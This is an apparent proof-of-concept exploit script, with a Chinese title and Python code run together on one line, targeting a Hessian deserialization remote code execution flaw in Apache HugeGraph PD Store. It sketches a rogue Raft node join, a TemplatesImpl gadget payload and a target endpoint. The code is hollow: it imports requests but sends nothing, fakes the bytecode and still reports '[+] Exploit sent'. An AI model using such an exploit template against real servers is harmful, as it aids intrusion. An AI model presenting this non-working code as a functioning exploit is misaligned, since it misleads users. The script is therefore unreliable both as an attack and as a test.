CVE-2025-26866 Apache HugeGraph PD存储Hessian反序列化远程代码执行漏洞

import pickle import base64 import requests import json # CVE-2025-26866 PoC - Hessian Deserialization RCE in Apache HugeGraph PD Store # This PoC demonstrates the concept of exploiting Hessian deserialization vulnerabilities class ExploitPayload: """ Malicious payload for Hessian deserialization attack Note: This is for educational and authorized testing purposes only """ def __init__(self, command): self.command = command def build_malicious_raft_node(self): """ Build a malicious Raft node configuration to join the cluster """ # Malicious node configuration with crafted IP malicious_config = { 'node_id': 'malicious-node-001', 'ip': 'attacker-controlled-ip', 'port': 8299, 'raft_port': 8300, 'cluster_id': 'target-cluster-id' } return malicious_config def create_hessian_payload(self): """ Create malicious Hessian serialized payload In real attack, this would contain gadget chains like: - TemplatesImpl with malicious bytecode - SpringBeanObjectInputStream with EL injection - CommonCollections chain """ # Simplified representation of malicious Hessian data hessian_magic = b'\x00\x04' # Hessian 2.0 magic header malicious_class = b'com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl' malicious_bytecode = self._generate_evil_bytecode() payload = { 'type': 'hessian_serialization', 'class': 'TemplatesImpl', 'bytecode': base64.b64encode(malicious_bytecode).decode(), 'gadget': 'TemplatesImpl.getOutputProperties()' } return payload def _generate_evil_bytecode(self): """ Generate malicious bytecode for code execution """ # In actual exploit, this would be valid Java bytecode # that executes system commands return b'\xca\xfe\xba\xbe' + self.command.encode() def exploit(self, target_url): """ Execute the exploit against target HugeGraph server """ # Step 1: Join cluster with malicious Raft node raft_join_url = f"{target_url}/api/v1/raft/join" malicious_node = self.build_malicious_raft_node() # Step 2: Send malicious Hessian serialized data hessian_payload = self.create_hessian_payload() # Step 3: Trigger deserialization via PD store operation exploit_url = f"{target_url}/api/v1/pd/store/deserialize" print(f"[+] Target: {target_url}") print(f"[+] Sending malicious Raft node configuration...") print(f"[+] Payload: {json.dumps(hessian_payload, indent=2)}") return { 'status': 'exploit_sent', 'target': target_url, 'payload': hessian_payload } if __name__ == '__main__': # Configuration target = 'http://target-hugegraph-server:8090' # Create exploit instance exploit = ExploitPayload('whoami') # Execute result = exploit.exploit(target) print(f"\n[+] Exploit sent: {result}")